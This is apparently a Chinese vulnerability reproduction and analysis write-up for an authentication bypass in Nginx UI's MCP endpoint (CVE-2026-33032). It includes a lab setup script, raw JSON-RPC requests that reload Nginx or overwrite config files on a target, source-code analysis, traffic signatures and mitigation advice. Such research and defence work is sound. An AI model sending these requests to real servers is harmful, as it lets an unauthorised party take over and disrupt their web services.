Nginx UI MCP接口绕过认证漏洞 | CVE-2026-33032复现&研究

0x0 背景介绍

Nginx UI是一个用于管理Nginx服务器的开源Web界面系统。

该组件的MCP(Model Context Protocol)集成模块在暴露 /mcp_message接口时,仅应用了IP白名单中间件而缺少身份验证。由于默认

IP白名单为空,中间件会将其解析为"允许所有",导致鉴权逻辑完全失效。

远程攻击者无需任何权限即可通过该接口调用所有MCP工具,执行重启Nginx、修改或删除 Nginx 配置文件等操作,从而实现对Nginx服务的完整接管。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

bash 复制代码
#!/bin/bash
# 检查并安装依赖
if ! command -v curl &> /dev/null || ! command -v wget &> /dev/null; then
    echo "[*] 安装依赖工具..."
    apt update && apt install -y curl wget
fi
# 检查 Docker 是否安装
if ! command -v docker &> /dev/null; then
    echo "[*] 未安装 Docker,请检查安装"
else
    echo "[+] Docker 已安装"
fi
# 检查 Docker Compose 插件
if ! docker compose version &> /dev/null; then
    echo "[-] Docker Compose 插件不可用,请检查安装"
    exit 1
else
    echo "[+] Docker Compose 插件可用"
fi
echo "[*] 阶段1/4:创建 Nginx UI 工作目录..."
mkdir -p ~/nginx-ui && cd ~/nginx-ui || { echo "[-] 创建目录失败"; exit 1; }
mkdir -p nginx logs data config
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/4:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
version: '3.8'
services:
  nginx-ui:
    image: uozi/nginx-ui:2.3.2
    container_name: nginx-ui
    restart: unless-stopped
    ports:
      - "80:80"
      - "443:443"
      - "9000:9000"
    volumes:
      - ./nginx:/etc/nginx
      - ./logs:/var/log/nginx
      - ./data:/data
      - ./config:/etc/nginx-ui
    environment:
      - TZ=Asia/Shanghai
      - NGINX_UI_IGNORE_DOCKER_SOCKET=true
EOF
echo "[+] docker-compose.yml 已生成"
echo "[*] 阶段3/4:启动 Docker 容器..."
docker compose pull
docker compose up -d
echo "[*] 等待服务启动(约30秒)..."
for i in {1..6}; do
    echo -n "."
    sleep 5
done
echo -e "\n[+] 容器已启动"
echo "[*] 检查 Nginx UI Web 服务是否就绪..."
RETRIES=0
MAX_RETRIES=12
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "200" ] || [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:9000)" = "302" ]; do
    sleep 5
    RETRIES=$((RETRIES+1))
    if [ $RETRIES -ge $MAX_RETRIES ]; then
        echo "[-] Nginx UI 服务未在规定时间内响应,请手动检查: docker compose logs"
        exit 1
    fi
    echo -n "."
done
echo -e "\n[+] Nginx UI Web 服务已就绪 (HTTP 状态码 200/302)"
echo "=============================================="
echo " Nginx UI 2.3.2 部署完成!"
echo "  - 访问管理界面: http://IP:9000"
echo "  - 首次访问请完成安装向导"
echo ""
echo "  - 配置文件目录: ~/nginx-ui/config"
echo "  - Nginx 配置目录: ~/nginx-ui/nginx"
echo "  - 日志目录: ~/nginx-ui/logs"
echo "  - 数据目录: ~/nginx-ui/data"
echo ""
echo "  - 容器管理命令:"
echo "      docker compose up -d   # 启动"
echo "      docker compose down     # 停止"
echo "      docker compose logs -f  # 查看日志"
echo "=============================================="

0x2 漏洞复现

  • 复现思路围绕两个 MCP 端点展开:/mcp(SSE 流)与/mcp_message(消息投递端点)。路由层对两个端点都挂载了middleware.AuthRequired()-见 mcp/router.go,因此严格按当前代码构建时,不携带token或node_secret将得到403-见单测 mcp/router_test.go)
  • 参考:
bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/Nginx-ui-cve-2026-33032.md

2.1 -场景 A:快速探测(确认是否"未授权可调用")

  • 目标:用最小成本判断你的部署是否符合 CVE 描述的"/mcp_message 无需认证"。
  1. 发送一个空 body 的 POST,请求 /mcp_message:
bash 复制代码
POST /mcp_message HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length:0
  1. 观察响应:
    •若返回 403 且 body 类似 {"message":"Authorization failed"}:
    说明至少存在认证拦截(与 middleware.AuthRequired() 行为一致)。
    •若返回 200 / 4xx 但不是鉴权失败,且服务端产生 MCP 协议相关错误:
    高度可疑,继续用 2.2/2.3 的"工具调用"确认是否能执行高危操作。

2.2-场景B:低版本创建文件利用


2.2-场景C: Nginx 重载(爆发点最短链路)

bash 复制代码
POST /mcp_message HTTP/1.1
Host:<target>
Content-Type: application/json

{
"jsonrpc":"2.0",
"id":1,
"method":"tools/call",
"params":{
"name":"reload_nginx",
"arguments":{}
}

}

流量特征:

bash 复制代码
•路径:/mcp_message
•方法:POST
•内容类型:application/json
•关键字段:"method":"tools/call" + "name":"reload_nginx"

2.3-场景D:修改既有配置文件(nginx_config_modify)

工具定义见 mcp/config/config_modify.go:它将 relative_path 解析为绝对路径,校验文件存在后写入新内容。

bash 复制代码
POST /mcp_message HTTP/1.1
Host: <target>
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "<relative_path>",
      "content": "<new_content>",
      "sync_overwrite": true,
      "sync_node_ids": []
    }
  }
}

流量特征:

  • "name":"nginx_config_add" / "name":"nginx_config_modify"

  • "arguments" 中出现 "content"(Nginx 配置正文),通常体积较大且包含 server { ... }、location 等关键字

2.4-区别验证:版本进行验证结果

  • 2.3.6版本即使获取seesion也失败

  • 2.3.5和2.3.6直接请求接口结果一样,但是2.3.5获取seesion还是可以利用的

  • 再往下第一个版本直接去请求接口会提示seesion问题,不会提示认证

2.5-复现流量特征 (PCAP)

  • 截取的成功利用的流量,带认证获取seesion

  • 后续无认证也可以进行操作接口

0x3 漏洞原理分析

3.0-[架构与模块定位] MCP 链路的入口层、逻辑层与危险操作面

本次分析是2.3.5版本:MCP 模块并不是"独立的一套 API",它更像是一条把 HTTP 请求 转换为 工具调用(Tool Call) 的通道:

bash 复制代码
•入口层(HTTP 暴露面):
 Gin 路由把 /mcp 与 /mcp_message 暴露出来,并决定它们是否经过白名单/认证。

•逻辑层(协议适配层):
 internal/mcp/server.go 将 HTTP 请求交给 mcp-go 的 SSE/Message 服务器去解析、分发。

•驱动层(工具执行):
 mcp/config/*、mcp/nginx/* 注册的工具 handler 最终落到文件系统写入、Nginx reload/restart 等操作。
涉及核心文件(按漏洞层面职责划分非业务):

涉及核心文件(按漏洞层面职责划分非业务):

小知识:

bash 复制代码
· MCP 双端点与会话机制:
Nginx UI 的 MCP 集成采用 SSE(Server-Sent Events) 模型,包含两个互补的 HTTP 端点:

•/mcp:
负责建立会话(SSE 流),返回一个临时 sessionId。在漏洞版本中,能预测的node_secret 绕过认证(即"未授权获取 sessionId")。

•/mcp_message:
主要是接收具体的工具调用请求(JSON-RPC),必须携带有效的 sessionId 作为查询参数。

3.1-[核心入口] 从路由锁定 MCP 暴露面

未授权真的耽搁了好久,一直发现有理解误差哎,第一步是直接去找 MCP 的路由注册点,看它到底把哪些 HTTP 入口暴露给外界。

在router/routers.go里发现 MCP 路由在全局引擎初始化时被无条件挂载:

go 复制代码
// router/routers.go
mcp.InitRouter(r)

顺着进入mcp/router.go,这里把两个端点明确地注册到了Gin:

go 复制代码
// mcp/router.go
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
    mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) {
    mcp.ServeHTTP(c)
})
  • 边界很清晰:MCP能做 "改配置 / 重载 / 重启",所以它至少应该被 认证(AuthRequired)和 来源限制(IPWhiteList)包住。

该漏洞的核心冲突点也在这里:如果实际环境中里存在某个构建 / 分支让/mcp_message缺失AuthRequired(),那就理论上攻击者可以绕过认证,直接把 "工具调用" 投递进来。

3.2-[逻辑缺陷] "默认白名单为空" 在实现上等价于 "放行所有人"

接着往下看,从路由转移到 "它依赖的最后一道门":middleware.IPWhiteList()在白名单逻辑的第一段判断值得关注:

go 复制代码
// internal/middleware/ip_whitelist.go
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}
  • 预期设计:IP白名单是一道 "额外收口" 的边界,理想状态应是 "默认拒绝,显式放行"。
  • 实际实现:len(IPWhiteList)==0 时直接Next()------ 默认白名单为空的情况下,它不是 "没人被允许",而是 "所有人都被允许"

其实逻辑本身也没啥问题(很多产品会用 "空 = 不启用限制" 的语义),但它会在一个特定条件下出现了问题:当某个高危入口 "只剩它这一道门" 时,空白名单就等价于裸奔

正因如此CVE描述里 "/mcp_message 仅应用 IP白名单" 会造成质变 ------ 因为IPWhiteList()在默认配置下并不构成约束。

3.3-[攻击链路] 一旦消息端点失守,MCP 工具就是 "远程运维超能力"

接着就是证明 "失守会造成什么结果",继续沿着mcp.ServeHTTP()往下追,看看它最终把请求交给了谁。

在internal/mcp/server.go里,MCP采用mcp-go的SSE/Message双端点模型:

go 复制代码
// internal/mcp/server.go
sseServer = server.NewSSEServer(
    mcpServer,
    server.WithSSEEndpoint("/mcp"),
    server.WithMessageEndpoint("/mcp_message"),
)

func ServeHTTP(c *gin.Context) {
    sseServer.ServeHTTP(c.Writer, c.Request)
}
  • 这解释了为什么CVE特别强调 "两个端点":/mcp 负责建立会话,/mcp_message负责投递工具调用消息。
  • 在这种模型下,如果消息端点未被认证保护,攻击者甚至不需要完整模拟前端 /Agent,只要能构造出 tools/call类请求,就能直接触发后端工具执行。
  • 下面就是挖掘下能造成什么影响,在mcp/nginx/reload.go与mcp/nginx/restart.go找到了两个最直观操作:
go 复制代码
// mcp/nginx/reload.go
const nginxReloadToolName = "reload_nginx"
func handleNginxReload(...) (*mcp.CallToolResult, error) {
    output, err := nginx.Reload()
    ...
}

// mcp/nginx/restart.go
const nginxRestartToolName = "restart_nginx"
func handleNginxRestart(...) (*mcp.CallToolResult, error) {
    nginx.Restart()
    ...
}
  • 更关键的是配置文件写入能力。在mcp/config/config_add.go中,工具会直接落到文件系统写入,并且写完立即 reload:
go 复制代码
// mcp/config/config_add.go
err = os.WriteFile(path, []byte(content), 0644)
...
res := nginx.Control(nginx.Reload)
  • 以及mcp/config/config_modify.go中对既有配置的覆盖写入:
go 复制代码
// mcp/config/config_modify.go
absPath, err := config.ResolveAbsoluteOrRelativeConfPath(relativePath)
...
err = config.Save(absPath, content, cfg)
  • 预期边界:这些工具本质上等价于 "远程root级运维接口"(至少在Nginx管理维度上),合理的边界应当是:强认证 + 强来源限制 + 最小权限(分工具授权)+ 审计。
  • 现实实现:工具层本身几乎不做权限判定;它把所有安全假设都押在 "HTTP入口一定会被认证 / 白名单正确保护" 上。
  • 一旦/mcp_message端点出现 "少挂一个中间件" 的工程性失误,攻击者拿到的不是一个普通API,而是一整套 可写配置 + 可触发
    reload/restart的接管能力。

3.4 [链路总结] 从 "注入点" 到 "爆发点" 的完整调用链

以/mcp_message 缺失认证,仅IP白名单;且白名单默认为空放行 叙述中的缺口为前提,完整链路可以被还原为:

bash 复制代码
`HTTP POST /mcp_message`(**注入点:未认证消息投递**)
-> `router`:`mcp.InitRouter()`
-> `middleware.IPWhiteList()`(**空白名单直接放行**)
-> `mcp.ServeHTTP()`(`internal/mcp/server.go`)
-> `mcp-go SSEServer` 解析消息(method: `tools/call`)
-> `mcpServer.AddTool(...)` 注册的工具 handler
-> `handleNginxConfigAdd/Modify` 写入配置(**爆发点:文件系统变更**)
-> `nginx.Control(nginx.Reload)` / `handleNginxReload`(**爆发点:配置立即生效**)
-> Nginx 服务配置面被完全接管
  • 补充:在 "当前代码快照" 的安全边界里,AuthRequired()还提供了 node_secret 这一条认证通路(internal/middleware/middleware.go):
go 复制代码
// internal/middleware/middleware.go
if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret {
    ...
    c.Next()
    return
}
  • 并且settings.NodeSettings.Secret在为空时会自动生成随机UUID并写回配置(internal/kernel/boot.go::InitNodeSecret)。
  • 这意味着:只要认证中间件确实挂载生效,攻击者无法靠 "默认空 secret" 绕过。

0x4 修复建议

1、升级最新版本:将组件升级最新版本2.3.6

bash 复制代码
https://github.com/0xJacky/nginx-ui

2、临时防护措施:

  • 限制访问:在Nginx / 反代层对/mcp与 /mcp_message 做强制收口,仅允许管理网段访问,避免直接暴露到公网或非受控网段

  • 防火墙拦截:配置规则,拦截对模块异常的请求(^/(mcp|mcp_message)$ ),关注body 关键字,对未携带 token/node_secret 的请求直接阻断

  • 白名单配置:明确配置 settings.AuthSettings.IPWhiteList 为你的运维出口 IP 列表(不要保持空值)。因为 IPWhiteList() 的实现语义是 "空 = 不限制"。

免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
llm大模型算法工程师weng2 小时前
负载均衡做什么?nginx是什么
运维·开发语言·nginx·负载均衡
byoass2 小时前
企业云盘私有化部署:存储架构设计与安全运维全流程实战
运维·网络·安全·云计算
captain_AIouo3 小时前
Captain AI功能全景解析——从选品到物流的智能闭环
大数据·人工智能·经验分享·aigc
fTiN CAPA3 小时前
服务器无故nginx异常关闭之kauditd0 kswapd0挖矿病毒 CPU占用200% 内存耗尽
运维·服务器·nginx
无忧.芙桃3 小时前
进程控制之进程等待
linux·运维·服务器
云栖梦泽3 小时前
Linux内核与驱动:13.从设备树到Platform平台总线
linux·运维·c++·嵌入式硬件
Agent产品评测局3 小时前
企业流程异常处理自动化落地,预警处置全流程实现方案:2026企业“数字免疫系统”构建指南
运维·人工智能·ai·chatgpt·自动化
charlie1145141914 小时前
嵌入式Linux驱动开发指南02——内核空间基础与硬件访问
linux·运维·c语言·驱动开发·嵌入式硬件
萑澈4 小时前
实践教程:我如何用 n8n 自动化“软著申请”中最头疼的文档撰写工作
运维·elasticsearch·自动化